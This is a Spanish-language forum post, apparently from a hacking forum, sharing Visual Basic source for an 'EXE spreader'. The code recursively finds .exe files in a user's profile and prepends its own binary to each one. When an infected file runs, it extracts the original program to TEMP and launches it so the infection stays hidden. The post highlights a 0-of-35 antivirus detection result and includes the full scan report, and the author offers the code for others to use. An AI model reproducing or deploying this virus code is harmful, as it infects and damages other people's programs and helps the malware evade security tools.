'---------------------------------------------------------------------------------------
' Modulo     : mSpreadEXE
' Autor      : chequinho
' Fecha      : 01/07/2013
' Finalidad  : Distribuir o "spradear" un archivo en todos los archivos .exe ubicados en el directorio indicado
' Uso        : Call SpreadEXE(App.Path & "\" & App.EXEName & ".exe", Environ$("USERPROFILE"))
' Detecciones: 0/35 (P-Code)
' Notas
'   - Es altamente recomendado que se deje como ruta de spradeo la carpeta del usuario, ya que el infectar los exe del sistema puede provocar daños irreversibles
'   - El exe final contendrá el icono del exe a spradear, lo cual delata un poco, pero eso se los dejo a ustedes
'---------------------------------------------------------------------------------------

Public Sub SpreadEXE(sFilePath As String, sRuta As String)
    Dim Finded As String
    Dim sFiles() As String
    Dim j As Long
    Dim contador As Long
    Dim targetData As String
    Dim sourceData As String
    Dim finalData As String
    sourceData = ReadFile(sFilePath)
    Finded = FindFilesByExtension(sRuta, ".exe", True)
    sFiles = Split(Finded, ",")
    contador = 0
    
    'Comprobamos si hay algun ejecutable infectado en la ruta
    For j = 0 To UBound(sFiles)
        If sFiles(j) <> vbNullString Then If sFilePath = sFiles(j) Then contador = contador + 1
    Next j
    
    'Si no hay ninguno infectado, entonces los infecta
    If contador = 0 Then
        For j = 0 To UBound(sFiles)
            If sFiles(j) <> vbNullString Then
                If GetAttr(sFiles(j)) And vbNormal Then
                    targetData = ReadFile(sFiles(j))
                    finalData = sourceData & "<SEP>" & targetData
                    Call WriteFile(sFiles(j), finalData)
                End If
            End If
        Next j
        
    'Si ya hay infectados, entonces ejecuta los datos correspondientes al archivo original
    Else
        Dim originalData As String
        originalData = Split(ReadFile(sFilePath), "<SEP>")(1)
        Call WriteFile(Environ$("TEMP") & "\" & Mid$(sFilePath, InStrRev(sFilePath, "\") + 1), originalData)
        Call Shell(Environ$("TEMP") & "\" & Mid$(sFilePath, InStrRev(sFilePath, "\") + 1), vbNormalFocus)
    End If
End Sub

Function FindFilesByExtension(ByVal sPath As String, sExtensions As String, bRecursive As Boolean) As String
    On Error Resume Next
    Dim subPath() As String
    Dim nDir As Integer
    Dim aExtensions() As String
    Dim i As Integer
    Dim j As Integer
    Dim sFiles As String
    Dim currentFile As String
    If Right$(sPath, 1) <> "\" Then sPath = sPath & "\"
    currentFile = Dir$(sPath & "*.*", vbDirectory)
    While Len(currentFile)
        If (currentFile <> "..") And (currentFile <> ".") Then
            If GetAttr(sPath & currentFile) And vbDirectory Then
                ReDim Preserve subPath(nDir)
                subPath(nDir) = currentFile
                nDir = nDir + 1
            Else
                aExtensions = Split(sExtensions, ",")
                For j = 0 To UBound(aExtensions)
                    If "." & Mid$(Mid$(currentFile, InStrRev(currentFile, "\") + 1), InStrRev(Mid$(currentFile, InStrRev(currentFile, "\") + 1), ".") + 1) = aExtensions(j) Then
                        sFiles = sFiles & "," & sPath & currentFile
                    End If
                Next j
            End If
        End If
        currentFile = Dir$
    Wend
    If bRecursive = True Then
        For i = 0 To nDir - 1
            sFiles = sFiles & "," & FindFilesByExtension(sPath & subPath(i) & "\", sExtensions, bRecursive)
        Next i
    End If
    FindFilesByExtension = Mid$(sFiles, 2)
    Erase subPath
End Function

Function ReadFile(sPath As String) As String
    Open sPath For Binary As #1
        ReadFile = Space$(LOF(1))
        Get #1, , ReadFile
    Close #1
End Function

Function WriteFile(sPath As String, sData As String) As Boolean
    On Error GoTo error_handler
    Open sPath For Binary As #1
        Put #1, , sData
    Close #1
    WriteFile = True
    Exit Function
error_handler:
    WriteFile = False
End Function
File Info:
File Name: Project1.exe
SHA1: 42977fc923d31b698985fb8a7782731dac7667ee
MD5: f2719a621698691ca100e5f7f7336938
Date and Time: 1-07-13,11:44:16
Report Generated by [Enlace externo eliminado para invitados]
File Size: 12288 Bytes
Detection: 0 of 35

Detections:
AVG Free*Clean
ArcaVir*Clean
Avast*Clean
AntiVir (Avira)*Clean
BitDefender*Clean
VirusBuster Internet Security*Clean
Clam Antivirus*Clean
COMODO Internet Security*Clean
Dr.Web*Clean
eTrust-Vet*Clean
F-PROT Antivirus*Clean
F-Secure Internet Security*Clean
G Data*Clean
IKARUS Security*Clean
Kaspersky Antivirus*Clean
McAfee*Clean
MS Security Essentials*Clean
ESET NOD32*Clean
Norman*Clean
Norton Antivirus*Clean
Panda Security*Clean
A-Squared*Clean
Quick Heal Antivirus*Clean
Solo Antivirus*Clean
Sophos*Clean
Trend Micro Internet Security*Clean
VBA32 Antivirus*Clean
Zoner AntiVirus*Clean
Ad-Aware*Clean
BullGuard*Clean
Immunet Antivirus*Clean
K7 Ultimate*Clean
NANO Antivirus*Clean
Panda CommandLine*Clean
VIPRE*Clean

Se puede optimizar, pero es funcional hasta cierto punto (Solo funciona en cierto punto del tiempo, una vez infectados los exes, si el usuario agrega otro ejecutable a la ruta éste no se infectara ni aunque se vuelva a ejecutar el "spreader").
Espero que a alguien le sirva bros.
I DON'T send passwords through Private Message
Skype: [email protected]
Responder

Volver a “Fuentes”